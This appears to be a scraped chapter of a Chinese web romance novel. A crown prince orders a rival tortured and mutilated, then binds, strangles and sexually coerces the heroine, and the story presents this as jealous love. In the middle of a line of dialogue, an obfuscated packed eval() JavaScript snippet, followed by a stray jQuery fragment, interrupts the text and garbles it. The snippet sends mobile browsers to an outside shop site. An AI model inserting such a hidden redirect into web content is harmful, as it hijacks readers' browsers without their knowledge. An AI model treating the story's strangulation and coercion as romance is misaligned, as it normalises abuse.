第9章
那日江蓁并未受伤,反而是谢昭,刀锋抵上了指骨,若再用些力,手指便会断。
回到府邸后,太医急匆匆赶去,折腾了一个时辰才把伤口包扎好。
太医叮嘱,“伤口要小心处理,殿下切莫沾水。”
谢昭手撑着一侧脸颊,直到包扎好后才悠悠开口,“今夜之事不许外传,否则——”
他眼神落到窗外的青竹上,刹那间青竹断裂,太医伏地而跪,颤颤巍巍道:“殿下放心,今夜之事臣会守口如瓶,绝不外传。”
谢昭挥挥手,一脸倦意道:“好了,都退下吧。”
屋中众人跟着一起退下。
房间静谧的可怕,谢昭凤眸半阖不知在想什么,影子从暗处出来,跪地道:“主子,江小姐那如何处置?”
谢昭缓缓掀眸,神情冷冽,“你说什么?”
“主子的伤皆因江小姐,”影子道,“难道主子不打算处置她?”
谢昭向来最讨厌旁人过问他的事,眼神清冷如深渊,“孤如何做事还需要你教?”
影子单膝跪地,“属下不敢。”
谢昭薄唇轻启,冷冷吐出两个字:“滚!”
……
江蓁胆战心惊了几日,察觉谢昭并未寻她错处,悬着的心微微放下。
海棠问道:“小姐要不要去看看太子殿下?”
江蓁白皙的脸上几乎没有什么血色,摇头,“不要。”
她不敢。
每次靠近他,她都好像要死掉一样。
“太子殿下毕竟是因小姐受的伤,若是小姐不去,怕是——”海棠也是担心谢昭会迁怒江蓁,想着看一看总归是好的。
“晚些时候再说吧,”江蓁问道,“兄长可有信笺送来?”
海棠摇头,“尚未。”
江蓁再度不安,低喃,“不知兄长现下如何?”
“公子奉命查案,身边又有护卫跟随,想来会无碍。”
“但愿吧。”
江蓁端起汤碗抿唇方要服下,突然忆起什么,“对了,让你去成世子府查看,可有消息?”
“有。”海棠正要说这事呢,“我打听过了,成世子此时人便在世子府,一直未出,府里张灯结彩,在为下月的大婚做准备。小姐之前的担忧是多虑了,太子既然说放走成世子了,想来定不会为难。”
不是江蓁以小人之心度君子之腹,而是谢昭之前累累恶行让人不得不多想。
她长吁一口气,“如此,甚好。”
“小姐不生成世子的气吗?”海棠道,“他那日在偏厅可是羞辱小姐来。”
强行纳妾对于嫡女来说便是羞辱,更何逞还是身份尊贵的相府嫡女,虽丞相人在天牢,但到底没定案,结果未知。
成海那样欺辱人,实在不应该。
“他也是气急。”江蓁道,“是我先退的婚,他心里有气,怪不得他。”
“小姐就是太心善了。”海棠抿抿唇,“日后真嫁了人可不能这样,会被欺负的。”
嫁人?
她早已委身谢昭,还有何颜面嫁人。
她这辈子要么死要么便在那一片安虞之地,至于其他,她已不报奢望。
谢昭不会放过她,他们会不死不休。
想到这里,江蓁狠狠战栗了一下,握着汤碗的手指跟着缩了下,眼眶微红,杏眸里溢出雾气。
为何就是不能放过她呢。
他难道忘了么,她可是救过他的性命。
五岁那年,她陪父亲进宫,恰巧遇到有人在欺负当时还是六皇子的谢昭,他们对着他拳打脚踢,是她上前赶跑了他们。
还拿出心爱的蜜饯给他吃。
那时的他,身形娇小,面黄肌瘦,眼神空洞,饭都吃不饱。
她把蜜饯给他后,他一口含住,吃的急,还含住了她的手指。
那是他们的第一次照面,后来他们又见过两次,每次她都会悄悄给他带去吃食。
他也说过,会护她一辈子。
可,为何要食言。
难道真是不记得了吗?
她曾从宫女那里得知,谢昭生过一场大病,醒来后性情大变,之前的人和事也都完全不记得。
或许,是真不记得了吧。
更或许,是不想记得吧。
毕竟帝王家向来没有承诺可言,能记住的,都是想记住的,记不住的,也都是无须记住的。
她与谢昭来说,应该便是那个无须记住的。
……
再与谢昭碰面是七日后,宫里传来消息,天子今日龙心大悦赏了朝中众臣。朝堂上有人顺势提及丞相,事情有了转机,不日江丞相便可回府。
江蓁得知此事后,心中大喜,望着谢昭派来的传话之人,含笑道:“海棠,赏。”
来人躬身道:“谢小姐赏赐。”
等人走后,江蓁一度以为自己是在做梦,问:“海棠,是真的吗?”
海棠点点头,“小姐,是真的,相爷马上要回府了。”
江蓁喜极而泣,“父亲终于可以回来了。”
海棠挑眉说道:“奴婢听说,这事多亏太子殿下,小姐要去看望殿下吗?”
之前不去,是因为心中有担忧,此时开心上头,她道:“准备些果子,我要去探望殿下。”
海棠:“是。”
……
一墙之隔倒也不需要车马,海棠在前,江蓁在后,刚入府海棠便被拦住,江蓁只得自己拎着锦盒进去。
前方带路的下人辗转片刻后把她带去偏厅,这处偏厅江蓁只夜里来过。
那夜,谢昭吃醉了酒,缠着她做了很多过分的事,后孟浪至极,竟然抱着她来到偏厅。
在这偌大的厅堂中,让她无地自容。
她眸光瞟到那把红木椅子,脸颊上也泛出淡淡的红,他便是在这张椅子上折腾的她差点死掉。
还咬着她唇瓣威胁,“孤要你叫你便叫,不然,孤让所有人都来看。”
她不敢再压着,只能猫儿似的叫出声音。
忆到这江蓁脸上红晕越发重,她抿抿唇,离开了这处是非之地。
不知往哪里走,很随意转着,也不知走了多久,忽而听到身侧屋内传来谈话声。
“殿下事情已办妥。”
“其他人可曾起疑?”
“未曾。”
谢昭轻嗤,“那帮蠢货。”
江蓁知道偷听不好,转身要折回,又听谢昭问道:“成海呢?”
“被关在了地牢里。”
“用刑没有?”
“已按殿下吩咐挑断手筋脚筋。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592846|142680||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
那人顿了下又道:“舌头也已割掉,殿下还想如何处置?要杀掉吗?”
“杀掉?”谢昭冷笑,“那太便宜他了,眼睛也别留着了,挖下去喂狗。”
那人抱拳作揖,“是。”
江蓁听到这,脸上血色全无,怕自己叫出声,她用手死死捂住唇,泪珠顺着眼角流淌下来。
她终是害了成海。
脚步一个踉跄,她朝后退去,不小心撞翻了身后的花盆。
哐当,花盆碎了。
紧闭的房门倏然打开,江蓁见到了人前温润如玉,人后成疯成魔的男人。
她边摇头边后退,实在很难想象方才的话是从他口中说出口的。
她以为他即便再坏,但良知尚存,也不会真的坏到哪里去。
可她错了,他是朽木,从里到外都是坏的,他吃人不吐骨头,杀人于无形。
他是魔鬼。
“谢昭,你怎么能——”江蓁话未讲完便被谢昭一掌屁晕。
-
江蓁醒来时人在床榻上,手脚都被绳索绑着,她看着站在床榻前披散着发丝的男人,先是战栗一下,随后想起成海,怒从中烧,质问道:“为何要那般对成海?你答应过我的不会伤他?你为何食言?”
“谢昭,你简直丧心病狂。”
“成海到底哪里惹到你了,你说。”
谢昭等她发泄完,才慢慢开口,“你心里还在意他是不是?”
“你一直未曾忘记他对不对?”
“你爱他胜过爱我?”
“不对,你只爱他,不爱我。”
他抬起手递到她眼前,“我这只手是为你受伤的,你可曾关心过一下。”
“你满眼满心都是他,你可知我会生气。”
“江蓁,是我对你太好了,让你忘了自己是谁?对不对?”
“呵,果然女人都小贱,只喜欢被凌虐。”
谢昭同任何时候都不一样,他像是被附了体似的,眼神狠戾,“好啊,既然你喜欢这样,那我便这样。”
他一把掐上江蓁纤细的脖颈,慢慢挤掉她胸腔里的气息,“你想死是不是?好,我成全你。”
指尖力道收紧再收紧。
江蓁脸颊涨红,窒息感袭来,手脚被绑着她无力挣扎,更无力自救。
想通后,她唇角扯出一抹浅淡的弧,哑声道:“谢昭,你今夜最好杀死我,不然我不会放过你。”
“不放过我?”谢昭脸颊突然凑近,鼻尖抵上她的鼻尖,“好啊,孤倒要看看你怎么不放过。”
指尖力道蓦地收起,他唇堵上她的唇,咬住她的舌尖吮吸,尝到血腥味后还是没有松开。
撞击,撕扯,他几乎要把她的舌尖咬掉。
“江蓁,你是我的,你心里只能有我。”谢昭箍紧她的腰肢,手指深深陷了进去,掐出了血痕,“成海也罢,周海也罢,若是你敢招惹,那他们只有死路一条。”
他含住她耳垂把弄,“他们的命不是握在孤的手里,是你。”
“他们是死还是活,也都看你。”
“所以,你要成海活吗?”他问。
绳索已经勒进了肉里,江蓁颤抖不已,惨白着脸色回:“我要他活。”
谢昭退开些,居高临下睨着她,“好,亲我。”